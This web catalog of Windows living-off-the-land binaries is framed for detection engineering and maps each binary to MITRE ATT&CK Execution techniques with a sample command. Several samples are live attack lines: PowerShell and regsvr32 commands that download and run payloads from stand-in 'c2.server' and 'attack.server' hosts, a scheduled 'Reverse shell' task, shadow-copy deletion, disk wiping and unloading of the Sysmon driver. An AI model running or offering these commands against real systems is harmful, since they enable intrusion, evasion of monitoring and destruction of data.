ExecuteTactic: Execution (TA0002)206 Verified Binaries

Execution LOLBins & Script Interpreter Abuse

Living-off-the-Land execution utilities allow threat actors to run arbitrary shell commands, in-memory scripts, and weaponized payloads through signed system binaries, evading application blacklists.

Detection Engineering Context

Adversaries abuse native command processors, script engines, and compilers (e.g. cmd, bash, python, mshta, cscript) to bypass strict user execution controls and run code in trusted memory contexts.

Key Log Telemetry: Windows Security Event 4688, Sysmon Event ID 1, Linux auditd EXECVE, and PowerShell ScriptBlock Event 4104.
Total Capable Binaries: 206
Windows: 182
Linux: 21
macOS: 3

Catalog of Execute LOLBins

Displaying 206 items
Windows2 weaponized tactics

mshta.exe

Microsoft HTML Application (MSHTA) host executes .hta files and scripts embedded inside web pages. Attackers abuse mshta to execute malicious inline VBScript or JScript directly from the command line or remote HTTP servers.

Sample Vector:
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))
T1218.005
Windows2 weaponized tactics

rundll32.exe

The Rundll32 program loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs). Threat actors use it to execute exported functions from arbitrary DLLs, run scriptlets, or execute code via MSHTML protocol handlers.

Sample Vector:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")
T1218.011
Windows1 weaponized tactics

regsvr32.exe

Regsvr32 registers and unregisters OLE controls, such as DLLs and ActiveX controls in the Windows Registry. When passed the /i switch pointing to an HTTP/HTTPS URL and scrobj.dll, regsvr32 downloads and executes remote COM scriptlets in memory (the classic Squiblydoo technique).

Sample Vector:
regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dll
T1218.010
Windows1 weaponized tactics

powershell.exe

PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.

Sample Vector:
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"
T1059.001T1105
Windows1 weaponized tactics

wmic.exe

Windows Management Instrumentation Command-line (WMIC) provides a command-line interface for WMI. Abused for process execution, remote lateral movement, process creation, and running XSL stylesheets.

Sample Vector:
wmic.exe process call create "powershell.exe -w hidden -enc ..."
T1047
Windows1 weaponized tactics

cscript.exe

CScript.exe is a command-line version of the Windows Script Host that facilitates running VBScript and JScript scripts. Frequently abused to run dropped scripts, execute obfuscated VBScript files, and perform defense evasion.

Sample Vector:
cscript.exe //B //Nologo %TEMP%\recon.vbs
T1059.005
Windows1 weaponized tactics

AddinUtil.exe

.NET Tool used for updating cache files for Microsoft Office Add-Ins.

Sample Vector:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.
T1218
Windows1 weaponized tactics

At.exe

Schedule periodic tasks

Sample Vector:
C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}
T1053.002
Windows1 weaponized tactics

Atbroker.exe

Helper binary for Assistive Technology (AT)

Sample Vector:
ATBroker.exe /start malware
T1218
Windows4 weaponized tactics

Bash.exe

File used by Windows subsystem for Linux

Sample Vector:
bash.exe -c "{CMD}"
T1202T1218
Windows1 weaponized tactics

CertOC.exe

Used for installing certificates

Sample Vector:
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}
T1218T1105
Windows1 weaponized tactics

CertReq.exe

Used for requesting and managing certificates

Sample Vector:
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}
T1105
Windows1 weaponized tactics

Change.exe

Remote Desktop Services MultiUser Change Utility

Sample Vector:
change.exe user
T1218
Windows2 weaponized tactics

Cipher.exe

File Encryption Utility

Sample Vector:
cipher /w:{PATH_ABSOLUTE:folder}
T1485T1562
Windows1 weaponized tactics

Cmd.exe

The command-line interpreter in Windows

Sample Vector:
type {PATH_ABSOLUTE} > {PATH_SMB}
T1564.004T1059.003T1105
Windows2 weaponized tactics

Cmstp.exe

Installs or removes a Connection Manager service profile.

Sample Vector:
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}
T1218.003
Windows1 weaponized tactics

Colorcpl.exe

Binary that handles color management

Sample Vector:
colorcpl {PATH}
T1036.005
Windows1 weaponized tactics

ConfigSecurityPolicy.exe

Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

Sample Vector:
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}
T1567T1105
Windows2 weaponized tactics

Conhost.exe

Console Window host

Sample Vector:
conhost.exe {CMD}
T1202
Windows1 weaponized tactics

Control.exe

Binary used to launch controlpanel items in Windows

Sample Vector:
control.exe {PATH_ABSOLUTE:.cpl}
T1218.002
Windows2 weaponized tactics

Csc.exe

Binary file used by .NET Framework to compile C# code

Sample Vector:
csc.exe -out:{PATH:.exe} {PATH:.cs}
T1127
Windows1 weaponized tactics

CustomShellHost.exe

A host process that is used by custom shells when using Windows in Kiosk mode.

Sample Vector:
CustomShellHost.exe
T1218
Windows1 weaponized tactics

DataSvcUtil.exe

DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.

Sample Vector:
DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}
T1567
Windows1 weaponized tactics

DeviceCredentialDeployment.exe

Device Credential Deployment

Sample Vector:
DeviceCredentialDeployment
T1564
Windows1 weaponized tactics

Diantz.exe

Binary that package existing files into a cabinet (.cab) file

Sample Vector:
diantz /f {PATH:.ddf}
T1564.004T1105T1036
Windows1 weaponized tactics

Diskshadow.exe

Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).

Sample Vector:
diskshadow> exec {PATH:.exe}
T1003.003T1202
Windows1 weaponized tactics

Dnscmd.exe

A command-line interface for managing DNS servers

Sample Vector:
dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}
T1543.003
Windows2 weaponized tactics

Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Sample Vector:
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o
T1105T1564.004T1003.003
Windows1 weaponized tactics

Expand.exe

Binary that expands one or more compressed files

Sample Vector:
expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext}
T1105T1564.004
Windows2 weaponized tactics

Explorer.exe

Binary used for managing files and system components within Windows

Sample Vector:
explorer.exe /root,"{PATH_ABSOLUTE:.exe}"
T1202
Windows1 weaponized tactics

Extexport.exe

Load a DLL located in the c:\test folder with a specific name.

Sample Vector:
Extexport.exe {PATH_ABSOLUTE:folder} foo bar
T1218
Windows1 weaponized tactics

Extrac32.exe

Extract to ADS, copy or overwrite a file with Extrac32.exe

Sample Vector:
extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}
T1564.004T1105
Windows1 weaponized tactics

fltMC.exe

Filter Manager Control Program used by Windows

Sample Vector:
fltMC.exe unload SysmonDrv
T1562.001
Windows1 weaponized tactics

Forfiles.exe

Selects and executes a command on a file or set of files. This command is useful for batch processing.

Sample Vector:
forfiles /p c:\windows\system32 /m notepad.exe /c "{CMD}"
T1202T1564.004
Windows3 weaponized tactics

Fsutil.exe

File System Utility

Sample Vector:
fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE}
T1485T1218
Windows1 weaponized tactics

Ftp.exe

A binary designed for connecting to FTP servers

Sample Vector:
echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt
T1202T1105
Windows2 weaponized tactics

Gpscript.exe

Used by group policy to process scripts

Sample Vector:
Gpscript /logon
T1218
Windows2 weaponized tactics

Hh.exe

Binary used for processing chm files in Windows

Sample Vector:
HH.exe {PATH_ABSOLUTE:.exe}
T1105T1218.001
Windows1 weaponized tactics

Ie4uinit.exe

Executes commands from a specially prepared ie4uinit.inf file.

Sample Vector:
ie4uinit.exe -BaseSettings
T1218
Windows1 weaponized tactics

iediagcmd.exe

Diagnostics Utility for Internet Explorer

Sample Vector:
set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}
T1218
Windows1 weaponized tactics

Ieexec.exe

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Sample Vector:
ieexec.exe {REMOTEURL:.exe}
T1105T1218
Windows2 weaponized tactics

Ilasm.exe

used for compile c# code into dll or exe.

Sample Vector:
ilasm.exe {PATH_ABSOLUTE:.txt} /exe
T1127
Windows1 weaponized tactics

Infdefaultinstall.exe

Binary used to perform installation based on content inside inf files

Sample Vector:
InfDefaultInstall.exe {PATH:.inf}
T1218
Windows1 weaponized tactics

Installutil.exe

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Sample Vector:
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}
T1218.004T1105
Windows2 weaponized tactics

Jsc.exe

Binary file used by .NET to compile JavaScript code to .exe or .dll format

Sample Vector:
jsc.exe {PATH:.js}
T1127
Windows1 weaponized tactics

Makecab.exe

Binary to package existing files into a cabinet (.cab) file

Sample Vector:
makecab /F {PATH:.ddf}
T1564.004T1105T1036
Windows1 weaponized tactics

Mavinject.exe

Used by App-v in Windows

Sample Vector:
MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}
T1218.013T1564.004
Windows2 weaponized tactics

Microsoft.Workflow.Compiler.exe

A utility included with .NET that is capable of compiling and executing C# or VB.net code.

Sample Vector:
Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}
T1127
Windows1 weaponized tactics

Mmc.exe

Load snap-ins to locally and remotely manage Windows systems

Sample Vector:
mmc.exe -Embedding {PATH_ABSOLUTE:.msc}
T1218.014
Windows1 weaponized tactics

Mofcomp.exe

Compiler that parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Threat actors can leverage this binary to install malicious MOF scripts

Sample Vector:
mofcomp.exe {PATH_ABSOLUTE:.mof}
T1047
Windows4 weaponized tactics

Msbuild.exe

Used to compile and execute code

Sample Vector:
msbuild.exe {PATH:.csproj}
T1127.001T1036
Windows1 weaponized tactics

Msconfig.exe

MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows

Sample Vector:
Msconfig.exe -5
T1218
Windows1 weaponized tactics

Msdt.exe

Microsoft diagnostics tool

Sample Vector:
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
T1218T1202
Windows1 weaponized tactics

Msedge.exe

Microsoft Edge browser

Sample Vector:
msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
T1105T1218.015
Windows4 weaponized tactics

msedgewebview2.exe

msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.

Sample Vector:
msedgewebview2.exe --no-sandbox --browser-subprocess-path="{PATH_ABSOLUTE:.exe}"
T1218.015
Windows1 weaponized tactics

msedge_proxy.exe

Microsoft Edge Browser

Sample Vector:
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
T1105T1218.015
Windows5 weaponized tactics

Msiexec.exe

Used by Windows to execute msi files

Sample Vector:
msiexec /quiet /i {PATH:.msi}
T1218.007
Windows1 weaponized tactics

Netsh.exe

Netsh is a Windows tool used to manipulate network interface settings.

Sample Vector:
netsh.exe add helper {PATH_ABSOLUTE:.dll}
T1546.007
Windows3 weaponized tactics

Odbcconf.exe

Used in Windows for managing ODBC connections

Sample Vector:
odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}}
T1218.008
Windows1 weaponized tactics

OfflineScannerShell.exe

Windows Defender Offline Shell

Sample Vector:
OfflineScannerShell
T1218
Windows3 weaponized tactics

Pcalua.exe

Program Compatibility Assistant

Sample Vector:
pcalua.exe -a {PATH:.exe}
T1202
Windows2 weaponized tactics

Pcwrun.exe

Program Compatibility Wizard

Sample Vector:
Pcwrun.exe {PATH_ABSOLUTE:.exe}
T1218T1202
Windows1 weaponized tactics

Pnputil.exe

Used for installing drivers

Sample Vector:
pnputil.exe -i -a {PATH_ABSOLUTE:.inf}
T1547
Windows1 weaponized tactics

Presentationhost.exe

File is used for executing Browser applications

Sample Vector:
Presentationhost.exe {PATH_ABSOLUTE:.xbap}
T1218T1105
Windows2 weaponized tactics

Print.exe

Used by Windows to send files to the printer

Sample Vector:
print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}
T1564.004T1105
Windows1 weaponized tactics

Provlaunch.exe

Launcher process

Sample Vector:
provlaunch.exe LOLBin
T1218
Windows1 weaponized tactics

Query.exe

Remote Desktop Services MultiUser Query Utility

Sample Vector:
query.exe user
T1218
Windows1 weaponized tactics

Rasautou.exe

Windows Remote Access Dialer

Sample Vector:
rasautou -d {PATH:.dll} -p export_name -a a -e e
T1218
Windows1 weaponized tactics

Regasm.exe

Part of .NET

Sample Vector:
regasm.exe /U {PATH:.dll}
T1218.009
Windows1 weaponized tactics

Register-cimprovider.exe

Used to register new wmi providers

Sample Vector:
Register-cimprovider -path {PATH_ABSOLUTE:.dll}
T1218
Windows1 weaponized tactics

Regsvcs.exe

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies

Sample Vector:
regsvcs.exe {PATH:.dll}
T1218.009
Windows1 weaponized tactics

Replace.exe

Used to replace file with another file

Sample Vector:
replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A
T1105
Windows1 weaponized tactics

Reset.exe

Remote Desktop Services Reset Utility

Sample Vector:
reset.exe session
T1218
Windows1 weaponized tactics

Runexehelper.exe

Launcher process

Sample Vector:
runexehelper.exe {PATH_ABSOLUTE:.exe}
T1218
Windows1 weaponized tactics

Runonce.exe

Executes a Run Once Task that has been configured in the registry

Sample Vector:
Runonce.exe /AlternateShellStartup
T1218
Windows1 weaponized tactics

Runscripthelper.exe

Execute target PowerShell script

Sample Vector:
runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}
T1218
Windows2 weaponized tactics

Schtasks.exe

Schedule periodic tasks

Sample Vector:
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "{CMD}"
T1053.005
Windows3 weaponized tactics

scp.exe

Used for uploading or downloading files over SSH.

Sample Vector:
scp.exe -o ProxyCommand="{CMD}" . localhost:.
T1202T1218
Windows2 weaponized tactics

Scriptrunner.exe

Execute binary through proxy binary to evade defensive counter measures

Sample Vector:
Scriptrunner.exe -appvscript {PATH:.exe}
T1202T1218
Windows1 weaponized tactics

Setres.exe

Configures display settings

Sample Vector:
setres.exe -w 800 -h 600
T1218
Windows2 weaponized tactics

SettingSyncHost.exe

Host Process for Setting Synchronization

Sample Vector:
SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}
T1218
Windows2 weaponized tactics

setupugc.exe

Setup Unattend Generic Command Processor used during Windows deployment.

Sample Vector:
setupugc.exe specialize
T1218
Windows2 weaponized tactics

Sftp.exe

sftp.exe is a Windows command-line utility that uses the Secure File Transfer Protocol (SFTP) to securely transfer files between a local machine and a remote server.

Sample Vector:
sftp -o ProxyCommand="{CMD}" .
T1202
Windows1 weaponized tactics

Sigverif.exe

File Signature Verification utility to verify digital signatures of files

Sample Vector:
sigverif.exe
T1218
Windows3 weaponized tactics

ssh.exe

Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices.

Sample Vector:
ssh localhost "{CMD}"
T1202
Windows2 weaponized tactics

Stordiag.exe

Storage diagnostic tool

Sample Vector:
stordiag.exe
T1218
Windows1 weaponized tactics

SyncAppvPublishingServer.exe

Used by App-v to get App-v server lists

Sample Vector:
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
T1218
Windows1 weaponized tactics

Tar.exe

Used by Windows to extract and create archives.

Sample Vector:
tar -xf {PATH_SMB:.tar}
T1564.004T1105
Windows2 weaponized tactics

Ttdinject.exe

Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe)

Sample Vector:
TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "{PATH:.exe}"
T1127
Windows1 weaponized tactics

Tttracer.exe

Used by Windows 1809 and newer to Debug Time Travel

Sample Vector:
tttracer.exe {PATH_ABSOLUTE:.exe}
T1127T1003
Windows1 weaponized tactics

Unregmp2.exe

Microsoft Windows Media Player Setup Utility

Sample Vector:
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
T1202
Windows2 weaponized tactics

vbc.exe

Binary file used for compile vbs code

Sample Vector:
vbc.exe /target:exe {PATH_ABSOLUTE:.vb}
T1127
Windows1 weaponized tactics

Verclsid.exe

Used to verify a COM object before it is instantiated by Windows Explorer

Sample Vector:
verclsid.exe /S /C {CLSID}
T1218.012
Windows1 weaponized tactics

Vssadmin.exe

Volume Shadow Copy Service administrative command-line tool

Sample Vector:
vssadmin delete shadows /all /quiet
T1490
Windows1 weaponized tactics

Wab.exe

Windows address book manager

Sample Vector:
wab.exe
T1218
Windows1 weaponized tactics

wbemtest.exe

WMI/WBEM Test Binary

Sample Vector:
wbemtest.exe
T1047
Windows1 weaponized tactics

winget.exe

Windows Package Manager tool

Sample Vector:
winget.exe install --manifest {PATH:.yml}
T1105
Windows1 weaponized tactics

Wlrmdr.exe

Windows Logon Reminder executable

Sample Vector:
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe}
T1202
Windows2 weaponized tactics

WorkFolders.exe

Work Folders

Sample Vector:
WorkFolders
T1218
Windows1 weaponized tactics

write.exe

Windows Write

Sample Vector:
write.exe
T1218
Windows1 weaponized tactics

wt.exe

Windows Terminal

Sample Vector:
wt.exe {CMD}
T1202
Windows1 weaponized tactics

wuauclt.exe

Windows Update Client

Sample Vector:
wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer
T1218
Windows2 weaponized tactics

Xwizard.exe

Execute custom class that has been added to the registry or download a file with Xwizard.exe

Sample Vector:
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
T1218T1105
Windows3 weaponized tactics

Advpack.dll

Utility for installing software and drivers with rundll32.exe

Sample Vector:
rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}
T1218.011
Windows2 weaponized tactics

Desk.cpl

Desktop Settings Control Panel

Sample Vector:
rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}
T1218.011
Windows3 weaponized tactics

Ieadvpack.dll

INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.

Sample Vector:
rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}
T1218.011
Windows1 weaponized tactics

Ieframe.dll

Internet Browser DLL for translating HTML code.

Sample Vector:
rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}
T1218.011
Windows1 weaponized tactics

Mshtml.dll

Microsoft HTML Viewer

Sample Vector:
rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}
T1218.011
Windows1 weaponized tactics

Pcwutl.dll

Microsoft HTML Viewer

Sample Vector:
rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}
T1218.011
Windows1 weaponized tactics

Setupapi.dll

Windows Setup Application Programming Interface

Sample Vector:
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}
T1218.011
Windows1 weaponized tactics

Shdocvw.dll

Shell Doc Object and Control Library.

Sample Vector:
rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}
T1218.011
Windows4 weaponized tactics

Shell32.dll

Windows Shell Common Dll

Sample Vector:
rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}
T1218.011
Windows1 weaponized tactics

Syssetup.dll

Windows NT System Setup

Sample Vector:
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}
T1218.011
Windows6 weaponized tactics

Url.dll

Internet Shortcut Shell Extension DLL.

Sample Vector:
rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}
T1218.011
Windows2 weaponized tactics

Zipfldr.dll

Compressed Folder library

Sample Vector:
rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}
T1218.011
Windows1 weaponized tactics

CL_Invocation.ps1

Aero diagnostics script

Sample Vector:
. C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke {CMD}
T1216
Windows1 weaponized tactics

CL_LoadAssembly.ps1

PowerShell Diagnostic Script

Sample Vector:
powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"
T1216
Windows1 weaponized tactics

CL_Mutexverifiers.ps1

Proxy execution with CL_Mutexverifiers.ps1

Sample Vector:
. C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess {PATH:.ps1}
T1216
Windows2 weaponized tactics

Launch-VsDevShell.ps1

Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet

Sample Vector:
powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}
T1216
Windows2 weaponized tactics

Manage-bde.wsf

Script for managing BitLocker

Sample Vector:
set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf
T1216
Windows2 weaponized tactics

Pester.bat

Used as part of the Powershell pester

Sample Vector:
Pester.bat [/help|?|-?|/?] "$null; {CMD}"
T1216
Windows1 weaponized tactics

Pubprn.vbs

Proxy execution with Pubprn.vbs

Sample Vector:
pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}
T1216.001
Windows1 weaponized tactics

Syncappvpublishingserver.vbs

Script used related to app-v and publishing server

Sample Vector:
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
T1216.002
Windows1 weaponized tactics

UtilityFunctions.ps1

PowerShell Diagnostic Script

Sample Vector:
powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"
T1216
Windows2 weaponized tactics

winrm.vbs

Script used for manage Windows RM settings

Sample Vector:
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985
T1216T1220
Windows1 weaponized tactics

AccCheckConsole.exe

Verifies UI accessibility requirements

Sample Vector:
AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}
T1218
Windows2 weaponized tactics

adplus.exe

Debugging tool included with Windows Debugging Tools

Sample Vector:
adplus.exe -c {PATH:.xml}
T1003.001T1127
Windows2 weaponized tactics

AgentExecutor.exe

Intune Management Extension included on Intune Managed Devices

Sample Vector:
AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1
T1218
Windows2 weaponized tactics

AppCert.exe

Windows App Certification Kit command-line tool.

Sample Vector:
appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}
T1127T1218.007
Windows1 weaponized tactics

AppLauncher.exe

User Experience Virtualization tool that launches applications under monitoring to capture and synchronize user settings.

Sample Vector:
AppLauncher.exe {PATH_ABSOLUTE:.exe}
T1127
Windows2 weaponized tactics

Appvlp.exe

Application Virtualization Utility Included with Microsoft Office 2016

Sample Vector:
AppVLP.exe {PATH_SMB:.bat}
T1218
Windows3 weaponized tactics

Bginfo.exe

Background Information Utility included with SysInternals Suite

Sample Vector:
bginfo.exe {PATH:.bgi} /popup /nolicprompt
T1218
Windows3 weaponized tactics

Cdb.exe

Debugging tool included with Windows Debugging Tools.

Sample Vector:
cdb.exe -cf {PATH:.wds} -o notepad.exe
T1127
Windows2 weaponized tactics

coregen.exe

Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.

Sample Vector:
coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name
T1055T1218
Windows1 weaponized tactics

csi.exe

Command line interface included with Visual Studio.

Sample Vector:
csi.exe {PATH:.cs}
T1127
Windows2 weaponized tactics

DbgSrv.exe

A process server included with Debugging Tools for Windows for remote user-mode debugging.

Sample Vector:
dbgsrv.exe -t tcp:port=5005 -c {CMD}
T1127
Windows1 weaponized tactics

DefaultPack.EXE

This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider.

Sample Vector:
DefaultPack.EXE /C:"{CMD}"
T1218
Windows1 weaponized tactics

Devinit.exe

Visual Studio 2019 tool

Sample Vector:
devinit.exe run -t msi-install -i {REMOTEURL:.msi}
T1218.007
Windows2 weaponized tactics

Devtoolslauncher.exe

Binary will execute specified binary. Part of VS/VScode installation.

Sample Vector:
devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} "{CMD:args}" test
T1127
Windows1 weaponized tactics

dnx.exe

.NET Execution environment file included with .NET.

Sample Vector:
dnx.exe {PATH_ABSOLUTE:folder}
T1127
Windows1 weaponized tactics

dotnet-counters.exe

.NET diagnostic tool for monitoring performance counters of .NET applications in real-time. Installed via 'dotnet tool install --global dotnet-counters' (.NET SDK required).

Sample Vector:
dotnet-counters.exe collect --duration 1 -- {PATH:.exe}
T1127
Windows1 weaponized tactics

dotnet-trace.exe

.NET diagnostic tool for collecting runtime traces from .NET applications. Installed via 'dotnet tool install --global dotnet-trace' (.NET SDK required).

Sample Vector:
dotnet-trace.exe collect --duration 00:00:01 -- {PATH:.exe}
T1127
Windows2 weaponized tactics

Dotnet.exe

dotnet.exe comes with .NET Framework

Sample Vector:
dotnet.exe {PATH:.dll}
T1218T1059
Windows1 weaponized tactics

dtutil.exe

Microsoft command line utility used to manage SQL Server Integration Services packages.

Sample Vector:
dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}
T1105
Windows2 weaponized tactics

Dxcap.exe

DirectX diagnostics/debugger included with Visual Studio.

Sample Vector:
Dxcap.exe -c {PATH_ABSOLUTE:.exe}
T1127
Windows1 weaponized tactics

IntelliTrace.exe

Visual Studio command-line tool for collecting and managing diagnostic trace files.

Sample Vector:
IntelliTrace.exe launch /cp:"collectionplan.xml" /f:"c:\users\public\log" "C:\Windows\System32\calc.exe"
T1127
Windows3 weaponized tactics

Logger.exe

A logging configuration tool from the Windows Kits used to start and manage process logging.

Sample Vector:
logger.exe RUN "{CMD}"
T1202
Windows1 weaponized tactics

Mftrace.exe

Trace log generation tool for Media Foundation Tools.

Sample Vector:
Mftrace.exe {PATH:.exe}
T1127
Windows1 weaponized tactics

Microsoft.NodejsTools.PressAnyKey.exe

Part of the NodeJS Visual Studio tools.

Sample Vector:
Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe}
T1127
Windows1 weaponized tactics

Mpiexec.exe

Command-line tool for running Message Passing Interface (MPI) applications.

Sample Vector:
mpiexec.exe {CMD}
T1127
Windows1 weaponized tactics

Mscopilot.exe

Microsoft Copilot app

Sample Vector:
mscopilot.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="{CMD} && taskkill /f /im mscopilot.exe &&"
T1218.015
Windows1 weaponized tactics

Mscopilot_proxy.exe

Microsoft Copilot proxy launcher

Sample Vector:
mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&"
T1218.015
Windows2 weaponized tactics

Msdeploy.exe

Microsoft tool used to deploy Web Applications.

Sample Vector:
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"
T1218T1105
Windows2 weaponized tactics

msxsl.exe

Command line utility used to perform XSL transformations.

Sample Vector:
msxsl.exe {PATH:.xml} {PATH:.xsl}
T1220T1105T1564
Windows1 weaponized tactics

Ntsd.exe

Symbolic Debugger for Windows.

Sample Vector:
ntsd.exe -g {CMD}
T1127
Windows1 weaponized tactics

OpenConsole.exe

Console Window host for Windows Terminal

Sample Vector:
OpenConsole.exe {PATH:.exe}
T1202
Windows1 weaponized tactics

Pixtool.exe

Command line utility for taking and analyzing PIX GPU captures.

Sample Vector:
pixtool.exe launch {PATH_ABSOLUTE:.exe}
T1127
Windows2 weaponized tactics

Procdump.exe

SysInternals Memory Dump Tool

Sample Vector:
procdump.exe -md {PATH:.dll} explorer.exe
T1202
